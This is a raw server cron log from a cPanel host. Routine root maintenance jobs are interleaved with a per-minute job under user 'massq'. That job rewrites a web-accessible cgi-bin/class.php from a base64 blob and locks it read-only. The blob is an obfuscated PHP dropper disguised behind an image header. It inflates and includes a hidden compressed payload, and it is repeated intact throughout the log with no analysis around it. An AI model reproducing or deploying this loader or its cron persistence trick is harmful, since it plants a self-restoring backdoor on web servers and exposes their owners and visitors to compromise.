Sep 10 03:23:01 server CROND[19110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:23:01 server CROND[19111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:24:01 server CROND[19493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:24:01 server CROND[19494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:24:01 server CROND[19495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:25:01 server CROND[19887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:25:01 server CROND[19889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:25:01 server CROND[19895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:25:01 server CROND[19896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:25:01 server CROND[19899]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:25:01 server CROND[19898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:25:01 server CROND[19897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:26:01 server CROND[20718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:26:01 server CROND[20719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:26:01 server CROND[20720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:27:01 server CROND[21204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:27:01 server CROND[21205]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 03:27:01 server CROND[21206]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep 10 03:27:01 server CROND[21209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:27:01 server CROND[21210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:28:01 server CROND[21695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:28:01 server CROND[21696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:28:01 server CROND[21697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:29:01 server CROND[22077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:29:01 server CROND[22076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:29:01 server CROND[22078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:30:01 server CROND[22459]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:30:01 server CROND[22462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:30:01 server CROND[22465]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:30:01 server CROND[22464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:30:01 server CROND[22469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:30:01 server CROND[22466]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:30:01 server CROND[22468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:30:01 server CROND[22470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:31:01 server CROND[23458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:31:01 server CROND[23457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:31:01 server CROND[23460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:32:01 server CROND[23922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:32:01 server CROND[23924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:32:01 server CROND[23925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:33:01 server CROND[24310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:33:01 server CROND[24309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:33:01 server CROND[24311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:34:01 server CROND[24692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:34:01 server CROND[24691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:34:01 server CROND[24693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:35:01 server CROND[25093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:35:01 server CROND[25094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:35:01 server CROND[25097]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:35:01 server CROND[25100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
